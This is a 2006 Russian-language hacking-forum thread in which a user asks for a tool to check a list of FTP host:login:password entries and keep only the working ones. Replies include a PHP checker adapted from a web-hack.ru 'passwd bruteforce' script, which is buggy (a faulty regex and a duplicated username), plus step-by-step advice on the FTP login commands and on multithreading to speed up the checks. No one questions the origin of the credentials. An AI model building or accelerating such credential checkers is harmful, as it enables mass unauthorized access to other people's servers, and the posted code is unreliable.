PDA

Просмотр полной версии : Нужна прога!


LordNet
17.03.2006, 18:11
Люди помогите плз.
У меня есть файл и в нем по строкава написаны:
ftphost:login:pass.
То есть в каждой строке есть адрес фтп и к нему логин и пасс, и все это разделяется двоеточием ':'.
Нужна прога которая по отсеивала те фтп к которым пасс не подходит.
Заранее спасибо.

max_pain89
17.03.2006, 18:28
такой php скрипт можешь свободно написать, он сам будет проверять, тем более с дедика

LordNet
17.03.2006, 18:34
Можешь написать плз??

LordNet
17.03.2006, 18:44
В принцепи было бы лутчи если есть прога!

max_pain89
17.03.2006, 18:48
вот попытался веб-хаковский переделать, чето ошибка, может самисправишь


<?php

// Description: This PHP-script (passwd.php) bruteforce passwords from /etc/passwd under FTP-protocol.
// Authors: Terabyte (admin[at]web-hack.ru) and Pavel.
// Web-site: http://www.web-hack.ru

$filename="ftp.txt"; // passwd file
// FTP-server

echo "<b>Start checking...</b>";

$fp = fopen ($filename, "r");
if ($fp)
{
while (!feof ($fp)) {
$buf = fgets($fp, 100);
ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
$ftp_server=$g[0];
$ftp_user_name=$g[1];
$ftp_user_pass=$g[2];
$conn_id=ftp_connect($ftp_server);
$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if (($conn_id) && ($login_result)) {
echo "<b>".$ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
ftp_close($conn_id);}
else {
echo $ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
}
}}

?>

LordNet
17.03.2006, 18:58
max_pain89 Спасибо.
Ну мне бы лутчи прогу.
Может есть у каво?

LordNet
18.03.2006, 18:21
Ну что не кто не знает что ли?

KEZ
18.03.2006, 18:45
Супер сложная прога - читаешь строку, разбиваешь ее на три части, конектишся к первой чати, логин -вторая часть, пароль - третья. Если сервер говорит что пас не тот, ничего не делаешь, иначе пишешь в файл, например good.txt

ZaCo
18.03.2006, 19:03
для начала научись читать из файла. потом научись работать с сокетами. и вот ты на финишной прямой!
тебе достаточно двух команд
User имя-пользователя
Pass пароль

LordNet
19.03.2006, 10:51
Я Vs C++ уже сделал, только вот оно медлено.
Мне бы как то по быстей ))
А то 100 пассов за 20 мин. это долго ((

drmist
19.03.2006, 12:53
LordNet
а ты проводи проверку в несколько потоков.
( msdn.microsoft.com->CreateThread() )

+ если ты (вдруг) на диалапе - то может не так уж и медленно.

KEZ
19.03.2006, 13:07
Наверное скорость соединения зависит от среды разработки, в который был сделан твой чекер... ?


msdn.microsoft.com


Да ладно линий раз туда ходить ненадо, про потоки
так можно расказать:
Проц. время рапределяется между потоками (а не процессами). Это делает планировщик. У каждого процесса есть как минимум один поток, иначе его уничтожает система. Этот поток и выполняет код.
Можно создать ещё потоки, которые будут выполняться
псевдо-одновременно с главным и всеми остальными.
Это делается ф-ией CreateThread(), которая возвращает
хендл созданого потока. А последний параметр - адрес
DWORD'а, куда будет записан Thread ID (номер потока).
Пример

DWORD WINAPI MyThrFunc( LPVOID param )
{
MessageBox( 0, "In thread", "Info", 0 );
return 0;
}

потом
DWORD dwThreadId;
CreateThread( NULL, NULL, MyThrFunc, NULL, NULL, &dwThreadId );


Описание ф-ии
CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );

Убить нить можно
hThread = CreateThread( ... );
TerminateThread( hThread );

ф-ии из kernel32.dll
обращаются к ZwCreateThread, ZwResumeThread...

Вот так вкратце ...

LordNet
19.03.2006, 23:19
Я знаю мне кто то про потоки говарили.
Я просто только как 2 недели VS c++ учу.
Шас буду читать про потоки )))
KEZ спасибо что объяснил